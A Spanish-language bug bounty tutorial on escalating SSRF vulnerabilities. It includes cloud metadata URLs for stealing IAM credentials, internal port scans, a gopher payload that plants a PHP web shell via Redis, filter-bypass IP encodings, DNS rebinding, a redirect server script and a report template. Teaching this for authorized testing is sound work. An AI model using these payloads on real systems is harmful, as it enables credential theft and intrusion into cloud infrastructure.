SSRF: De P4 a Critical

¿Qué es SSRF?

Server-Side Request Forgery (SSRF) es una vulnerabilidad que permite a un atacante hacer que el servidor realice peticiones HTTP a destinos arbitrarios. En lugar de atacar directamente, usas el servidor como proxy para acceder a recursos internos a los que no tendrías acceso desde el exterior.

Atacante → Servidor vulnerable → Red interna / Servicios cloud

¿Por qué empieza como P4 (Low)?

Muchos programas de bug bounty clasifican un SSRF básico como severidad baja (P4) porque:

• Solo confirma que puedes hacer que el servidor realice una petición
• Sin demostrar acceso a datos sensibles, el impacto es limitado
• Un SSRF "ciego" (sin ver la respuesta) puede parecer poco peligroso

Pero la realidad es que SSRF es una de las vulnerabilidades con mayor potencial de escalada si sabes cómo explotarla.

Escenarios comunes donde aparece SSRF

# Funcionalidades típicas vulnerables a SSRF:
- Importar imagen desde URL
- Preview de enlaces / link unfurling
- Webhooks configurables
- Exportar página como PDF
- Integraciones con servicios externos
- Proxies de API
- Parsers de XML (también XXE → SSRF)

Escalada 1: Cloud Metadata

Esta es la escalada más clásica y más peligrosa. Si la aplicación corre en AWS, GCP o Azure, puedes acceder al servicio de metadata de la instancia:

AWS

# Endpoint de metadata de AWS EC2
http://169.254.169.254/latest/meta-data/

# Obtener credenciales temporales de IAM
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# La respuesta incluye:
{
  "AccessKeyId": "ASIAXXX...",
  "SecretAccessKey": "xxx...",
  "Token": "xxx...",
  "Expiration": "2026-01-15T12:00:00Z"
}

Con estas credenciales puedes acceder a S3, bases de datos, y potencialmente comprometer toda la infraestructura cloud de la empresa. Esto convierte un P4 en Critical instantáneamente.

GCP

# Google Cloud metadata
http://metadata.google.internal/computeMetadata/v1/
# Requiere header: Metadata-Flavor: Google

# Obtener token de acceso
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure

# Azure Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requiere header: Metadata: true

# Obtener token de acceso
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Escalada 2: Escaneo de puertos internos

Usa el SSRF para mapear la red interna:

# Probar puertos comunes en rangos internos
http://10.0.0.1:80
http://10.0.0.1:8080
http://10.0.0.1:3306      # MySQL
http://10.0.0.1:6379      # Redis
http://10.0.0.1:9200      # Elasticsearch
http://10.0.0.1:27017     # MongoDB
http://192.168.1.1:8443   # Panel de admin
http://172.16.0.1:9090    # Prometheus

Si descubres un servicio interno sin autenticación (Redis, Elasticsearch, etc.), el impacto puede ser muy alto.

Escalada 3: Cadenas de ataque

SSRF se vuelve especialmente peligroso cuando lo combinas con otras vulnerabilidades:

SSRF + Redis = RCE

Si encuentras un Redis interno sin autenticación:

# Usando el protocolo gopher para enviar comandos a Redis
gopher://10.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET['cmd'])%3B%20%3F>%22%0ACONFIG%20SET%20dir%20/var/www/html%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE

SSRF + Admin panels

Si descubres un panel de administración interno:

http://10.0.0.1:8080/admin/
http://internal-jenkins.target.local:8080/
http://internal-grafana.target.local:3000/

Bypass de filtros y protecciones

Los desarrolladores intentan bloquear SSRF con listas negras, pero hay muchas formas de evadirlas:

Bypass de IP

# Representaciones alternativas de 127.0.0.1
http://127.1/
http://0x7f000001/
http://2130706433/          # Decimal
http://0177.0.0.1/          # Octal
http://[::1]/               # IPv6
http://127.000.000.001/     # Con ceros
http://0/                   # Puede resolver a localhost

Bypass de 169.254.169.254

# Representaciones alternativas
http://[::ffff:169.254.169.254]/
http://0xa9fea9fe/          # Hexadecimal
http://2852039166/           # Decimal
http://169.254.169.254.nip.io/  # DNS rebinding

DNS Rebinding

Configura un dominio que resuelva alternativamente a tu IP y a una IP interna:

1. Primera resolución: tu-dominio.com → IP pública (pasa la validación)
2. Segunda resolución: tu-dominio.com → 169.254.169.254 (accede al metadata)

Herramientas como rbndr o servicios como rebind.it facilitan este ataque.

Bypass de esquema de URL

# Si solo bloquean http/https
file:///etc/passwd
dict://internal-host:11211/stat
gopher://internal-host:6379/_INFO
ftp://internal-host/

Redirecciones

Si la aplicación sigue redirecciones, puedes servir un redirect desde tu servidor:

# redirect.py - Servidor que redirige a metadata
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()

SSRF ciego (Blind SSRF)

Si no puedes ver la respuesta del servidor, aún puedes:

1. Confirmar conectividad: Usa un servicio como Burp Collaborator o interact.sh para recibir peticiones
2. Inferir información: Mide tiempos de respuesta (puerto abierto vs. cerrado)
3. Exfiltrar datos: Si el servidor incluye la respuesta en logs o mensajes de error

# Usar interact.sh para detectar blind SSRF
interactsh-client

# Luego usar la URL generada como destino del SSRF
http://abc123.interact.sh

Ejemplos de impacto real

• Capital One (2019): Un SSRF en WAF permitió acceder a credenciales de AWS IAM, comprometiendo datos de 100+ millones de clientes. Resultado: una de las brechas más grandes de la historia.
• Shopify: SSRF en la funcionalidad de importar productos permitió acceder a metadata de GCP.
• GitLab: Múltiples SSRF que permitían escanear la red interna.

Cómo reportar SSRF de alto impacto

Título: SSRF en [funcionalidad] permite acceder a credenciales IAM de AWS

Impacto: Un atacante puede obtener credenciales temporales de AWS con permisos
de [listar roles afectados]. Esto permite acceder a [S3 buckets, bases de datos,
etc.] comprometiendo datos de [X usuarios/clientes].

Pasos:
1. Ir a [funcionalidad vulnerable]
2. Interceptar la petición con Burp
3. Cambiar el parámetro URL a: http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Observar el nombre del rol en la respuesta
5. Repetir con: http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
6. Obtener AccessKeyId, SecretAccessKey y Token
7. Verificar acceso: aws sts get-caller-identity --profile stolen

Conclusión

SSRF es la vulnerabilidad con mayor potencial de escalada en el arsenal de un bug bounty hunter. Lo que parece un simple "el servidor hace una petición" puede convertirse en un acceso completo a la infraestructura cloud de una empresa. La clave está en no conformarse con demostrar el SSRF básico: siempre intenta escalar al metadata de cloud, escanear la red interna y encadenar con otras vulnerabilidades. Un SSRF bien escalado puede valer decenas de miles de dólares en programas de bug bounty.